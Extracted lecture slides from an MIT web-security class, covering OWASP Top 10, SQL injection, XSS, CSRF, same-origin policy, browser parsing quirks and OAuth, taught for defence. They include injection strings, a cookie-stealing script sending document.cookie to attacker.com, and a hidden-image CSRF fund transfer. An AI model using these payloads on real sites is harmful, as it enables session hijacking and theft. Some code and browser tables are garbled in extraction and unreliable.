Web Security
MIT 6.170 – 22\textsuperscript{nd} October 2014
Adam Chlipala, Mark Day, Daniel Jackson
Today’s *Wall Street Journal*...

“ICloud Hit by Attack in China”

“Apple said users should not sign into iCloud.com if they received a warning from their browser that it is not a trusted site.”
The right point of view is worth at least 20-30 points of IQ
PARANOIA
That unmistakable feeling everyone is out to get you!
Remember Heartbleed?

- Example of buffer overrun bug
- Disturbingly common problem
  - C doesn’t check array bounds
  - Quickly leads to “stack smashing” and variants
- State of the art is amazing...
“Hacking Blind” (Bittau et al. 2014)

• (Only) requirements:
  – Web server with buffer overflow vulnerability
  – Crashes & restarts on failure

• Automated system “Braille” cracks:
  – “Probes” stack (crash vs. non-crash signals info)
  – Detects “gadgets” (useful segments of code)
  – Assembles gadgets to dump out running code
  – Shell in 4000 requests / 20 minutes (!)
Outline

• Top 10
• Injection
• Cross-site
• The rickety Web
### OWASP Top 10

#### 2013 Table of Contents

<table>
<thead>
<tr>
<th>Risk</th>
<th>2013 Top 10 List</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1 - Injection</td>
<td>Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.</td>
</tr>
<tr>
<td>A2 - Broken Authentication and Session Management</td>
<td>Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.</td>
</tr>
<tr>
<td>A3 - Cross-Site Scripting (XSS)</td>
<td>XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.</td>
</tr>
<tr>
<td>A4 - Insecure Direct Object References</td>
<td>A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.</td>
</tr>
<tr>
<td>A5 - Security Misconfiguration</td>
<td>Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.</td>
</tr>
<tr>
<td>A6 - Sensitive Data Exposure</td>
<td>Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.</td>
</tr>
</tbody>
</table>

Example: details for #1 ‘Injection’

Top 10 2013-A1-Injection

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Technical Impacts</th>
<th>Business Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application Specific</td>
<td>Exploitability</td>
<td>Prevalence</td>
<td>Determinability</td>
<td>Impact</td>
</tr>
<tr>
<td>Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.</td>
<td>Brute force simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including external sources.</td>
<td>Injection flaws occur when an application sends untrusted data to an interpreter. Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, XPath, or NoSQL queries; OS commands; XML parameters; SMTP headers; program arguments, etc. Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.</td>
<td>Injection can result in data loss or corruption, lack of accountability, or denial of access. Injection can sometimes lead to complete host takeover.</td>
<td>Consider the business value of the affected data and the platform running the interpreter. All data could be stolen, modified, or deleted. Could your reputation be harmed?</td>
</tr>
</tbody>
</table>

Am I Vulnerable To ‘Injection’?

The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL apps, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.

Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by writing exploits that confirm the vulnerability.

Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty determining whether an attack was successful. Poor error handling makes injection flaws easier to discover.

Example Attack Scenarios

Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call:

```java
String query = "SELECT * FROM accounts WHERE custID"' + request.getParameter("id") + "'";
```

Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):

```java
Query HQLQuery = session.createQuery("FROM accounts WHERE custID"' + request.getParameter("id") + "'";
```

In both cases, the attacker modifies the 'id' parameter value in the browser to send "or '1' or'. For example:

```java
http://example.com/app/accounts?custID='1'
```

This changes the meaning of both queries to return all the rows from the accounts table. More dangerous attacks could modify data or even execute stored procedures.

How Do I Prevent ‘Injection’?

Preventing injection requires keeping untrusted data separate from commands and queries.

1. The preferred action is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.

2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter.

OWASP’s ESAPI provides many of these escaping routines.

3. Positive or "white list" input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1 and 2 above will make your app safe. OWASP’s ESAPI has an extensible library of white list input validation routines.

References

OWASP

- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Query Parameterization Cheat Sheet
- OWASP Command Injection Article
- OWASP XML External Entity (XXE) Reference Article
- OWASP Output Encoding/Decoding Requirements (V1)

OWASP: Testing Guides: Chapter on SQL Injection Testing

External

- CWE Entry 77 on Command Injections
- CWE Entry 60 on SQL Injection
- CWE Entry 644 on Hibernate injection
Implications for your project

• Read the top 10 detailed reports!
• Compare to your project
• Make sure you aren’t falling into any of the listed traps
Another worthy site

http://cwe.mitre.org/
## Quick summaries

### OWASP Top 10

<table>
<thead>
<tr>
<th>Issue</th>
</tr>
</thead>
<tbody>
<tr>
<td>Injection</td>
</tr>
<tr>
<td>Broken authentication/sessions</td>
</tr>
<tr>
<td>Cross site scripting (XSS)</td>
</tr>
<tr>
<td>Insecure direct object references</td>
</tr>
<tr>
<td>Security misconfiguration</td>
</tr>
<tr>
<td>Sensitive data exposure</td>
</tr>
<tr>
<td>Missing function level access control</td>
</tr>
<tr>
<td>Cross site request forgery (CSRF)</td>
</tr>
<tr>
<td>Components with known vulnerabilities</td>
</tr>
<tr>
<td>Unvalidated redirects and forwards</td>
</tr>
</tbody>
</table>

### CWE Top 10

<table>
<thead>
<tr>
<th>Issue</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL Injection</td>
</tr>
<tr>
<td>OS command injection</td>
</tr>
<tr>
<td>Buffer overflow</td>
</tr>
<tr>
<td>Cross site scripting (XSS)</td>
</tr>
<tr>
<td>Missing authentication</td>
</tr>
<tr>
<td>Missing authorization</td>
</tr>
<tr>
<td>Hard-coded credentials</td>
</tr>
<tr>
<td>Missing encryption of sensitive data</td>
</tr>
<tr>
<td>Unrestricted upload of risky file type</td>
</tr>
<tr>
<td>Reliance on untrusted inputs</td>
</tr>
</tbody>
</table>
Demo: String vs. Name
What is injection?

• Data turned to code in unplanned ways
• Note: not just scripts!
  – Any kind of selector mechanism also vulnerable
  – SQL query, DOM selector...
• Interpreters flexible, powerful
  – Web technology has them lurking in many places
Demo: JavaScript calculator
a SQL injection attack

show items ordered

enter year

query = "SELECT date, item FROM orders WHERE user="
    + session[‘user_id’]
    + "AND year=" + request.form[‘year’]
execute(query)
an injection attack

suppose user makes a modified HTTP request

> https://www.store.com/orders?year=0%20OR%201%3D1

```
SELECT date, item FROM orders
WHERE user=126 AND year=0 OR 1=1
```

effect

> sets year variable to 0 OR 1=1
> shows all orders in the database
an injection attack

suppose user makes a modified HTTP request
  › https://www.store.com/orders?year=0%20OR%201%3D1

SELECT date, item FROM orders
WHERE user=126 AND year=0 OR 1=1

effect
  › sets year variable to 0 OR 1=1
  › shows all orders in the database
even worse

user generates this query:

```
SELECT date, item FROM orders
WHERE user=126 AND year=0
; DROP TABLE creditcards
```

a denial of service attack
and even worse...

user generates this query

```
SELECT date, item FROM orders
WHERE user=126 AND year=0
; INSERT INTO admin VALUES ('hacker', ...)
```

user takes over machine!
revenge on traffic cameras?

Hi, this is your son's school. We're having some computer trouble.

Oh, dear - did he break something? In a way -

Did you really name your son Robert?); DROP TABLE Students;--?

Oh, yes. Little Bobby Tables, we call him.

Well, we've lost this year's student records. I hope you're happy.

And I hope you've learned to sanitize your database inputs.

from http://xkcd.com/327/
Query strings

• Elements from database
• Elements from DOM
• Best practice – *any* user input is escaped and/or sanity checked
• Think like airport security
  – “Sterile area”
  – Outside is full of hazards
  – Leaving sterile area requires rechecking... always
A High Level View of a typical XSS Attack

1. **Hacker** infects the **Victim** with a script.
2. The **Victim** visits a **Your Web Page**.
3. The **Victim** injects a script into the **Your Web Page**.
4. The **WWW** receives the script and executes it.
5. The **WWW** does something bad.
cross site scripting (XSS)

A Fictional Example
on Facebook, attacker posts this on wall:

```html
<script>
window.location = 'http://attacker.com/steal?cookie = ' + document.cookie
</script>
```

now, when other user displays Facebook page...
› script sends her cookies to attacker
› could get server-side private data too!

this is “persistent XSS”
› simpler form: pass URL with query that puts script in page
cross site request forgery (CSRF)

A Fictional Example
on attacker’s site, include hidden call to bank:
<img src="http://mybank.com/transferFunds?amount=1000&destination=attackersAcct" width="0" height="0" />

now, when other user loads attacker’s page...
› hidden call transfers her money to the attacker
› can use all her credentials (session, cookies)

combine with XSS
› attacker can place call on a trusted site
infamous CSRF attacks

Gmail
› get contact list (Jan 2007)
› add mail filters (Sept 2007)

Netflix
› change name & delivery address (2007)
› modify movie queue (2009)

http://ajaxian.com/archives/gmail-csrf-security-flaw
http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
what’s going on?

- actual server: evil.org
  - client
- intended server: bank.com (+XSS)
  - XSS and CSRF are duals
    - XSS: client confuses servers
    - CSRF: server confuses clients
  - so it’s about authentication
    - XSS: of server
    - CSRF: of client
- actual client: bank.com
  - intended client: evil.org (+CSRF)
Mitigating cross-site attacks

• Escape/sanitize data from users
  – Just like injection, although details differ

• Improve authentication
  – Challenge/response
  – CAPTCHA
  – Secret session tokens
    • Note: these can leak from URLs
    • Can use hidden form field
  – None of these help if you aren’t logged in!
Same-origin policy

• Why does it exist?
• Why does it work?
• How do people get around it?
Original Web Model: Hypertext Universe
Browser navigates among self-contained servers
Like distinct browsers for distinct servers
What’s a server in this world?

• IP address?
  – Can’t be right… web servers could be at different IP addresses without changing semantics

• Domain name?
  – Can’t be right… one domain name might offer multiple distinct services (http, ftp, etc.)

• URL?
  – Can’t be right… not every single variant of a URL is a different server even though it’s a different resource
Review: URL

http://www.example.com:818/foo/bar?lang=en&order=up#top
Origin

• Scheme + Host + Port = Origin
Same origin or different?

- http://example.com/foo
- http://www.example.com/foo
- https://example.com/foo
- http://example.com:80/foo
- http://example.com/bar/baz
- http://example.com:8080/foo
JSONP (or JSON-P)

- “JSON with Padding”
- How does it work?
  - Hack to transport data by pretending it’s code
  - Wrap arbitrary JSON structure inside function call:
    - “functionCall({a:5, b:17})”
  - Now it’s not a violation of same-origin policy!
Web requirements

• Low entry barrier
• Extensibility
• Distributed hypermedia
• Internet scale
  – Anarchic
  – Independent deployment
How & why it all comes together

Revisiting REST

- Web origins – no real security considerations
- REST – no real security considerations
- Hardly surprising that Web has security challenges!
- Lots of things improvised, glued on the side
Touring the web

• Follow a single exchange
• Consider variants and incompatibilities
  – And consider security principles
• Detailed tables not for detailed study: conveying scope of problem
• Much of this info is from https://code.google.com/p/browsersec/wiki/Part1
Following a single request

- Interpreting URL
- HTTP message to server
- Authentication
- Authorization
- HTTP message to client
- Rendering/interpretation
URL parsing

- Incompletely/ambiguously specified
- Inconsistently implemented
- “Special” characters that maybe aren’t 
  \[-[]!\$‘()*;,,\]

Below is a more detailed review of the key differences that often need to be accounted for:

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Characters ignored in front of URL schemes</td>
<td>x01-x20</td>
<td>x01-x20</td>
<td>x01-x20</td>
<td>x20</td>
<td></td>
<td>x20</td>
<td>x0C-x20</td>
<td>x20</td>
<td>x20</td>
</tr>
<tr>
<td>Non-standard characters permitted in URL scheme names (excluding 0-9 A-Z a-z - .)</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
</tr>
<tr>
<td>Non-standard characters kept as-is, with no escaping, in URL query strings (excluding 0-9 A-Z a-z - .)</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
</tr>
<tr>
<td>Non-standard characters fully ignored in host names</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td></td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
<td>x/x</td>
</tr>
<tr>
<td>Types of partial or broken URLs auto-corrected to fully qualified ones</td>
<td>x/y</td>
<td>x/y</td>
<td>x/y</td>
<td>x/y</td>
<td></td>
<td>x/y</td>
<td>x/y</td>
<td>x/y</td>
<td>x/y</td>
</tr>
<tr>
<td>Is fragment ID (hash) encoded by applying RFC-mandated URL escaping rules?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>PARTLY</td>
<td>PARTLY</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
</tr>
<tr>
<td>Are non-reserved fnn sequences in URL path decoded in address bar?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>n/a</td>
</tr>
<tr>
<td>Are non-reserved fnn sequences in URL path decoded in location.href?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Are non-reserved fnn sequences in URL path decoded in actual HTTP requests sent?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Characters rejected in URL login or password (excluding / # ; ? : % @)</td>
<td>x00 \</td>
<td>x00 \</td>
<td>x00 \</td>
<td>none</td>
<td>none</td>
<td>x00-x20 \</td>
<td>x/x</td>
<td>x/x-xd</td>
<td>x/x-xd</td>
</tr>
<tr>
<td>URL authentication data splitting behavior with multiple @ characters</td>
<td>leftmost</td>
<td>leftmost</td>
<td>leftmost</td>
<td>rightmost</td>
<td>rightmost</td>
<td>leftmost</td>
<td>rightmost</td>
<td>rightmost</td>
<td>leftmost</td>
</tr>
</tbody>
</table>
Fun with Unicode!

Below is a more detailed review of the key differences that often need to be accounted for:

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Characters ignored in front of URL schemes</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
</tr>
<tr>
<td>Non-standard characters permitted in URL scheme names (excluding 0-9 A-Z a-z + - .)</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
</tr>
<tr>
<td>Non-standard characters kept as-is, with no escaping, in URL query strings (excluding 0-9 A-Z a-z - . _ / ? # [ ] \ &amp; ' () * + ; =)</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
</tr>
<tr>
<td>Non-standard characters fully ignored in host names</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
<td>\u01-\x20</td>
</tr>
<tr>
<td>Types of partial or broken URLs auto-corrected to fully qualified ones</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Is fragment ID (hash) encoded by applying RFC-mandated URL escaping rules?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>PARTLY</td>
<td>PARTLY</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Are non-reserved \x00 sequences in URL path decoded in address bar?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Are non-reserved \x00 sequences in URL path decoded in location.href?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Are non-reserved \x00 sequences in URL path decoded in actual HTTP requests sent?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Characters rejected in URL login or password (excluding / # ; ? : % @)</td>
<td>\x00 \</td>
<td>\x00 \</td>
<td>\x00 \</td>
<td>none</td>
<td>none</td>
<td>\x00-\x20 * &lt; &gt; [ ] ^</td>
<td>\x00-\x20 * &lt; &gt; [ ] ^</td>
<td>\x00-\x20 * &lt; &gt; [ ] ^</td>
<td>\x00-\x20 * &lt; &gt; [ ] ^</td>
</tr>
<tr>
<td>URL authentication data splitting behavior with multiple @ characters</td>
<td>leftmost</td>
<td>leftmost</td>
<td>leftmost</td>
<td>rightmost</td>
<td>rightmost</td>
<td>leftmost</td>
<td>rightmost</td>
<td>rightmost</td>
<td>leftmost</td>
</tr>
</tbody>
</table>
DNS lookup

- DNS vulnerable to spoofing, hijacking
- DNSSEC improves, but not universal (yet)

ccTLD DNSSEC Status on 2014-10-14
Scheme

• Multiple “real” schemes
• Multiple pseudo schemes
  – E.g. “javascript:”
• All affect the interpretation of the URL
Following a single request

• Interpreting URL
• HTTP message to server
• Authentication
• Authorization
• HTTP message to client
• Rendering/interpretation
HTTP

• Headers can be read
  – Don’t count on confidentiality
• Headers can be changed
• Headers can be removed
• Headers can be added
  – Don’t count on integrity
Readability/mutability of headers

• Many scaling techniques involve reading or rewriting headers
  – Load balancing
  – WAN optimization

• Not all intermediary operations are evil!
Again, many variants with security implications

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header-less (HTTP/0.9) responses supported?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Lone CR (0x0D) treated as a header line separator?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>Content-Length header value overrides actual content length?</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
</tr>
<tr>
<td>First HTTP header of the same name takes precedence?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>First field value in a HTTP header takes precedence?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
</tr>
<tr>
<td>Is Referer header sent on HTTPS → HTTPS navigation?</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
</tr>
<tr>
<td>Is Referer header sent on HTTPS → HTTP navigation?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is Referer header sent on HTTP → HTTPS → HTTP redirection?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
</tr>
<tr>
<td>Is Referer header sent on pseudo-protocol → HTTP navigation?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is fragment ID included in Referer on normal requests?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Is fragment ID included in Referer on XMLHttpRequest?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Response body on invalid 30x redirect shown to user?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
</tr>
<tr>
<td>High-bit character handling in HTTP cookies</td>
<td>transcoded to 7 bit</td>
<td>transcoded to 7 bit</td>
<td>transcoded to 7 bit</td>
<td>mangled</td>
<td>mangled</td>
<td>UTF-8</td>
<td>UTF-8</td>
<td>UTF-8</td>
<td>UTF-8</td>
</tr>
<tr>
<td>Are quoted-string values supported for HTTP cookies?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
</tr>
</tbody>
</table>
SSL/TLS

• HTTPS (HTTP over SSL)
• Improves integrity
• Improves confidentiality
• Not necessarily used end-to-end
  – Various proxy schemes
More about SSL

• Public-key for identity
• Shared-key for data transfer
• Crude proxy: spoof CA or use local CA
• Refined proxy: use server for public-key, splice interception into shared-key only
• SSL is good working compromise between security and scale/performance
• If truly paranoid, use IPsec instead
Server redirects

• Where’s the harm here?
• Unvalidated redirects and forwards -- #10 on OWASP list
• Can an attacker figure out how to get your app to forward them to another page?
• If they do, will your app check authorization... or will it trust that an in-app redirect is OK?
Following a single request

- Interpreting URL
- HTTP message to server
  - Authentication
- Authorization
- HTTP message to client
- Rendering/interpretation
Authenticating the server

• SSL certificates
  – You are talking to someone with a private key that matches the public key in the signed cert
  – Obvious concern: private key may have leaked
  – Less obvious concern: CA may be compromised

• Supplement with “personal image” or similar
  – Arbitrary picture to be presented by server before collecting credentials
  – Showing protected by SSL
Authenticating the client

• Only want to do this over SSL or better
• Consider effects of swapping/replaying clients
  – Cross-site request forgery, CSRF
• Don’t build your own authentication scheme if you can possibly avoid it
• Use someone else’s authentication service
• Use an implementation that has had experts involved
Terminology

• Identity provider
  – Someone who is prepared to do the hard work of authentication

• Relying party
  – Someone who’d like to outsource the hard work of authentication
OpenID (a good thing)

(Some Random) App → Who are you? Provide a notarized referral

User → Please write a referral saying I’m user@gmail

ID Provider (Google)

(Some Random) App → Here you go

User → Here you go

ID Provider (Google)

Name: Real Name
Email:user@gmail
Notary: Google

Name: Real Name
Email:user@gmail
Notary: Google
Following a single request

- Interpreting URL
- HTTP message to server
- Authentication
- Authorization
- HTTP message to client
- Rendering/interpretation
Server authorization

• Don’t build your own authorization scheme if you can possibly avoid it
• Use an implementation that has had experts involved.
Getting access to stuff

• Concept:
  – You want to use NewApp, which will do interesting things with your mail
  – It needs access to info in your Gmail account

• Bad approach:
  – NewApp asks you for your username/password
  – NewApp logs in as you to find what it needs
Better approach

• NewApp asks Google to authenticate you
• Google asks if you agree to what NewApp is asking
• If so, then Google gives NewApp a limited-time ticket
OAuth 2.0 (a good thing)

(Some Random) App

Please give me the valet key to the API

Auth provider (Google)

App wants the Valet key to the API

User

(Some Random) App

Here you go

[Valet key]

Auth provider (Google)

OK

User
OAuth as pseudo-authentication

• Some apps may not really need to ask Google to do anything... just want to have an authenticated identity
Pseudo-Authentication with OAuth 2.0

(Some Random) App

Please give me the valet key to the API

User

Please give me the valet key to the API

Auth provider (Google)

(Some Random) App

Here you go

[Valet key]

User

Here you go

[Valet key]

Referring Party (Google)
OpenID now on top of OAuth

• “OpenID Connect” redoes OpenID using OAuth
Following a single request

- Interpreting URL
- HTTP message to server
- Authentication
- Authorization
- **HTTP message to client**
- Rendering/interpretation
Following a single request

• Interpreting URL
• HTTP message to server
• Authentication
• Authorization
• HTTP message to client
• Rendering/interpretation
HTML

• Mixes code, data
• “Loose” documents frequently parsed... somehow...
• ... but hard to predict meaning consistently across browsers
• Odd feature: able to specify some HTTP headers (“HTTP-EQUIV”)
## Variants (again)

<table>
<thead>
<tr>
<th>Test description</th>
<th>MSIE6</th>
<th>MSIE7</th>
<th>MSIE8</th>
<th>FF2</th>
<th>FF3</th>
<th>Safari</th>
<th>Opera</th>
<th>Chrome</th>
<th>Android</th>
</tr>
</thead>
<tbody>
<tr>
<td>Parser resets on nested HTML tags (&lt;FOO &lt;BAR...?)</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Recursive recovery with nested tags (both FOO and BAR interpreted?)</td>
<td>(NO)</td>
<td>(NO)</td>
<td>(NO)</td>
<td>YES</td>
<td>YES</td>
<td>(NO)</td>
<td>(NO)</td>
<td>(NO)</td>
<td>(NO)</td>
</tr>
<tr>
<td>Parser resets out on invalid tag names (&lt;FOO=’&lt;BAR...?)</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Trace-back on missing tag closure (&lt;FOO BAR=”&gt;BAZ”&gt;(EOF))?</td>
<td>YES</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Trace-back on missing parameter closure (&lt;FOO BAR=”&gt;BAZ;(EOF))?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>SGML-style comment parsing permitted in strict mode (&quot; and &gt; may appear separately)?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>CDATA blocks supported in plain HTML documents?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>I- and ?-type tags are parsed in a non-HTML manner (&lt;FOO BAR=”--”&gt;... breaks)?</td>
<td>NO</td>
<td>NO</td>
<td>NO</td>
<td>YES</td>
<td>YES</td>
<td>NO</td>
<td>YES</td>
<td>NO</td>
<td>NO</td>
</tr>
<tr>
<td>Characters accepted as tag name / parameter separators (excluding \t \n \r \v \f)</td>
<td>\v0B \v0C / \v0B \v0C /</td>
<td>NO</td>
<td>/</td>
<td>/</td>
<td>\v0B \v0C</td>
<td>\v0B \v0C</td>
<td>\v0B \v0C</td>
<td>\v0B \v0C</td>
<td></td>
</tr>
<tr>
<td>Characters ignored between parameter name, equals sign, and value (excluding \t \n)</td>
<td>\v0B \v0C \v20</td>
<td>\v0B \v0C \v20</td>
<td>\v0B \v0C \v20</td>
<td>\v20</td>
<td>\v20</td>
<td>\v0B \v0C \v20</td>
<td>\v20</td>
<td>\vA0</td>
<td>\v0B \v0C</td>
</tr>
<tr>
<td>Characters accepted in lieu of quotes for HTML parameters (excluding ”)</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
<td>‘‘</td>
</tr>
<tr>
<td>Characters accepted in tag names (excluding A-Z / ? !)</td>
<td>\v0 %</td>
<td>\v0 %</td>
<td>\v0 %</td>
<td>none</td>
<td>none</td>
<td>none</td>
<td>\v0</td>
